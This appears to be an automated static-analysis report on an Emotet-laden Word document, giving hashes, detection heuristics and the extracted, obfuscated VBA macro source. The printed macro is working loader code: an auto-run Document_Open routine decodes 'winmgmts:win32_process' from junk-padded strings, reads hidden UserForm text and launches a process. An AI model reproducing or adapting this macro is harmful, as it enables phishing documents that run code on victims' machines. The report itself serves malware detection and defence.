Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 c4be7ba5dc4ffd83…

MALICIOUS

Office (OLE)

230.2 KB Created: 2020-08-11 17:54:00 Authoring application: Microsoft Office Word First seen: 2020-09-04
MD5: 314733751715f687928600b75660af99 SHA-1: 2ab6fb1893a09a53ad7d4e2f66c3fe9603e80c5d SHA-256: c4be7ba5dc4ffd83c7a3de76a97271e1fed9dcbe117d44a03608e521755139cb
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open auto-execution macro and a hidden UserForm command stager, which are strong indicators of Emotet activity. The ClamAV detection name further supports this family attribution. The VBA script is heavily obfuscated but its structure suggests it is designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9273608-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9273608-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4379 bytes
SHA-256: 0ab2bc8eea3952c258f65668c42f039b6f2e48ec294abbd4f5f107fdb88590a6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "LJVMFybgwgex"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
UMMCUgbodrjtdidwriz.UWJJAjmbdevnkhkdrl
End Sub


Attribute VB_Name = "UMMCUgbodrjtdidwriz"
Attribute VB_Base = "0{F9645E78-EECB-4F9D-BD59-775BBEFEDD01}{3BC02960-19EF-4174-A1BE-3F9D03394CA6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function UWJJAjmbdevnkhkdrl()
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
SFITXmkgczxaz = UMMCUgbodrjtdidwriz.Zoom
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
TGXOGessyiuvvxsf = ChrW(SFITXmkgczxaz + ((30 + 60 + 30) / (4 + 4)))
Dim p1Èck3ÃQU As Date
AVFFPvvsptljmhkqosf = "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhi920jG&2(nbsjg uiyqGb2234%42bjhnm920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhgm920jG&2(nbsjg uiyqGb2234%42bjht920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh" + TGXOGessyiuvvxsf + "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh:920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhin920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh3920jG&2(nbsjg uiyqGb2234%42bjh2920jG&2(nbsjg uiyqGb2234%42bjh_920jG&2(nbsjg uiyqGb2234%42bjh" + UMMCUgbodrjtdidwriz.RYGWDjddyxetser + "920jG&2(nbsjg uiyqGb2234%42bjhro920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhce920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjh"
Dim tqSQH3Í As Integer
tqSQH3Í = 3
Do While tqSQH3Í < 3 + 6
tqSQH3Í = tqSQH3Í + 6: DoEvents
Loop
GWPZVtdxremjouzrb = STLMFozgjvsybzkwx(AVFFPvvsptljmhkqosf)
Dim JtF1ÔVIsgfW As Variant
Set PYQGXytacjipdce = CreateObject(GWPZVtdxremjouzrb)
Dim r4ÖKHihX As Integer
r4ÖKHihX = 9
Do While r4ÖKHihX < 9 + 5
r4ÖKHihX = r4ÖKHihX + 7: DoEvents
Loop
WUUAPeijdytlbtk = UMMCUgbodrjtdidwriz.NCCJQrtwvftqso.ControlTipText
Dim aKHZFGTowB As Currency
WQYLLzebftltnjjvxd = m2m3b5 + (GWPZVtdxremjouzrb + TGXOGessyiuvvxsf + UMMCUgbodrjtdidwriz.POUXFdgdauff.ControlTipText + WUUAPeijdytlbtk)
Dim fIspInaCW As String
NSUAMfpnlpyghrd = WQYLLzebftltnjjvxd + UMMCUgbodrjtdidwriz.RYGWDjddyxetser
Dim n8ÈRMOqNXp As Integer
n8ÈRMOqNXp = 4
Do While n8ÈRMOqNXp < 4 + 4
n8ÈRMOqNXp = n8ÈRMOqNXp + 1: DoEvents
Loop
Set JKWTLbnejfzod = SDDTAtoddbpjjdmkvh(NSUAMfpnlpyghrd)
Dim K0ÏyYuGKEqS As Currency
pppp1n1b = Array(ns123v4 + "jbjksgui qguw egq wuieg qbnmasm", PYQGXytacjipdce. _
Create(OJNXIikcxgsszv, ZYUTRwpbaaxcxc, JKWTLbnejfzod), masb1 + ",jha ghauig qugq bbbs")
Dim LRhpI5ÓslYA As Double
End Function
Function OJNXIikcxgsszv()
n21bh3 = UMMCUgbodrjtdidwriz.GFWPYmyzenmbaaivrg.Pages(vbOK).Caption
OJNXIikcxgsszv = STLMFozgjvsybzkwx(n21bh3)
dgKyIcWY = 7
Do While dgKyIcWY < 7 + 1
dgKyIcWY = dgKyIcWY + 1: DoEvents
Loop
End Function
Function SDDTAtoddbpjjdmkvh(KUDPIxmeohkffxfhht)
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
Set SDDTAtoddbpjjdmkvh = CreateObject(KUDPIxmeohkffxfhht)
Dim WbU1Ïq As Integer
WbU1Ïq = 1
Do While WbU1Ïq < 1 + 4
WbU1Ïq = WbU1Ïq + 1: DoEvents
Loop
SDDTAtoddbpjjdmkvh. _
showwindow = CJZLYzpvcabfmvxpsys + QBWWHngeppys
Dim UMbU As Object
End Function
Function STLMFozgjvsybzkwx(DKWPDcotjlzzpmb)
GDALWeljfsimwmlwofg = DKWPDcotjlzzpmb
Dim ZvdC As Currency
RQAOOuvooavtwj = Split _
(GDALWeljfsimwmlwofg, "920jG&2(nbsjg uiyqGb2234%42bjh")
Dim Hih4å As Integer
Hih4å = 5
Do While Hih4å < 5 + 7
Hih4å = Hih4å + 6: DoEvents
Loop
EWFRRxkobrnvscz = mmm2 + Join(RQAOOuvooavtwj, msnj2)

... (truncated)

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